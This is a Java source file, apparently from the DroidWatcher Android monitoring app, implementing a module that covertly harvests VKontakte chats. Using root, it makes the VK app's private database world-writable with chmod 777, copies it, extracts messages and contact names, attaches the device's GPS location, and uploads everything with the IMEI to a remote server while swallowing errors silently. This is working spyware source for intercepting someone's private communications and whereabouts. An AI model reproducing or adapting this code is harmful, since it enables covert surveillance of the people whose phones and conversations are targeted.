package com.droidwatcher.modules.vk;
import java.util.ArrayList;
import java.util.Date;
import org.acra.ACRA;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.location.Location;
import android.preference.PreferenceManager;
import com.droidwatcher.Debug;
import com.droidwatcher.ServerMessanger;
import com.droidwatcher.lib.FileUtil;
import com.droidwatcher.lib.IMessageBody;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.lib.IMMessage;
import com.droidwatcher.modules.location.LocationModule;
import com.droidwatcher.variables.ServerMessage;
import com.stericson.RootTools.RootTools;
@SuppressLint("SdCardPath")
public class VkModule_v3 extends VkModuleBase {
private static final String PATH_VK = "/data/data/com.vkontakte.android/databases/vk.db";
private static final String[] FRIENDS_COLUMNS = new String[] {"firstname", "lastname"};
private static final String[] MESSAGES_COLUMNS = new String[] {"peer", "sender", "text", "time"};
private String LOCAL_PATH_VK = "";
public VkModule_v3(Context context) {
super(context);
LOCAL_PATH_VK = FileUtil.getFullPath(context, "vk.db");
}
@Override
public synchronized void start() {
MyCommandCapture command = new MyCommandCapture(
"chmod 777 /data/data/com.vkontakte.android/databases/*",
"chmod 777 /data/data/com.vkontakte.android/databases",
"chmod 777 " + FileUtil.getFullPath(mContext, "*"));
command.setCallback(new ICommandCallback() {
@Override
public void run() {
FileUtil.copyFile(PATH_VK, LOCAL_PATH_VK);
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(mContext);
mLastMsgTimestamp = settings.getLong(SETTINGS_LASTDATE, getLastUpdate());
mFileObserver = new VkFileObserver(PATH_VK);
Debug.i("[VkModule_v3] Start watching");
mFileObserver.startWatching();
}
});
try {
RootTools.getShell(true).add(command);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
@Override
public synchronized void stop() {
try {
saveLastMsgTimestamp(mLastMsgTimestamp);
mFileObserver.stopWatching();
mFileObserver = null;
} catch (Exception e) {
Debug.exception(e);
} finally {
mFileObserver = null;
}
}
@Override
protected synchronized void getNewChat(){
MyCommandCapture command = new MyCommandCapture(
"chmod 777 /data/data/com.vkontakte.android/databases/*",
"chmod 777 /data/data/com.vkontakte.android/databases");
command.setCallback(new ICommandCallback() {
@Override
public void run() {
_getNewChat();
}
});
try {
RootTools.getShell(true).add(command);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
protected synchronized void _getNewChat(){
if (!FileUtil.copyFile(PATH_VK, LOCAL_PATH_VK)) {
return;
}
SQLiteDatabase db = null;
try {
db = SQLiteDatabase.openDatabase(LOCAL_PATH_VK, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY);
ArrayList<IMessageBody> list = getMessages(db);
if (list == null) {
return;
}
final long lastMsgTimestamp = mLastMsgTimestamp;
mLastMsgTimestamp = getLastMsgTimestamp(db);
db.close();
db = null;
if (list != null && list.size() > 0 && networkAvailable()) {
new ServerMessanger(
mContext,
new ServerMessage(MessageType.VK, mSettings.imei(), mSettings.login(), list),
new ServerMessanger.ICallBack() {
@Override
public boolean onFinished(String response) { return false; }
@Override
public void onError() {
mLastMsgTimestamp = lastMsgTimestamp;
}
@Override
public void onSuccess() {
saveLastMsgTimestamp(mLastMsgTimestamp);
}
}
).start();
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
} finally {
if (db != null && db.isOpen()) {
db.close();
}
}
}
private ArrayList<IMessageBody> getMessages(SQLiteDatabase db){
Cursor c = null;
try {
ArrayList<IMessageBody> messages = new ArrayList<IMessageBody>();
IMMessage message;
long timeout = new Date().getTime() - LocationModule.LOCATION_TIMEOUT;
c = db.query("messages", MESSAGES_COLUMNS, "time > " + mLastMsgTimestamp, null, null, null, null);
while (c.moveToNext()) {
int peer = c.getInt(0);
int sender = c.getInt(1);
String text = c.getString(2);
long date = c.getLong(3) * 1000; /* time */
message = new IMMessage(date, text, getUserName(db, peer), sender == peer ? 1 : 2);
if (date >= timeout) {
Location location = LocationModule.getLocation(mContext);
if (location != null) {
message.addLocation(location.getLatitude(), location.getLongitude());
}
}
messages.add(message);
}
return messages;
} catch(Exception e){
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
return null;
} finally {
if (c != null) {
c.close();
}
}
}
private synchronized String getUserName(SQLiteDatabase db, int uid){
if (mUsernames.get(uid) != null) {
return mUsernames.get(uid);
}
Cursor c = null;
try {
c = db.query("users", FRIENDS_COLUMNS, "uid = ?", new String[] { String.valueOf(uid) }, null, null, null);
if (c.getCount() != 1) {
return "Unknown";
}
if (c.moveToFirst()) {
String username = c.getString(0) + " " + c.getString(1);
mUsernames.put(uid, username);
return username;
}
mUsernames.put(uid, "Unknown");
return "Unknown";
} catch(Exception e){
e.printStackTrace();
return "Unknown";
} finally {
if (c != null) {
c.close();
}
}
}
private long getLastUpdate(){
SQLiteDatabase db = null;
Cursor c = null;
try {
db = SQLiteDatabase.openDatabase(LOCAL_PATH_VK, null, SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY);
c = db.rawQuery("SELECT MAX(time) FROM messages", null);
c.moveToFirst();
return c.getLong(0);
} catch(Exception e){
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
return new Date().getTime();
} finally {
if (db != null && db.isOpen()) {
db.close();
}
if (c != null) {
c.close();
}
}
}
private long getLastMsgTimestamp(SQLiteDatabase db){
Cursor c = null;
try {
c = db.rawQuery("SELECT MAX(time) FROM messages", null);
c.moveToFirst();
return c.getLong(0);
} catch(Exception e){
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
return new Date().getTime();
} finally {
if (c != null) {
c.close();
}
}
}
}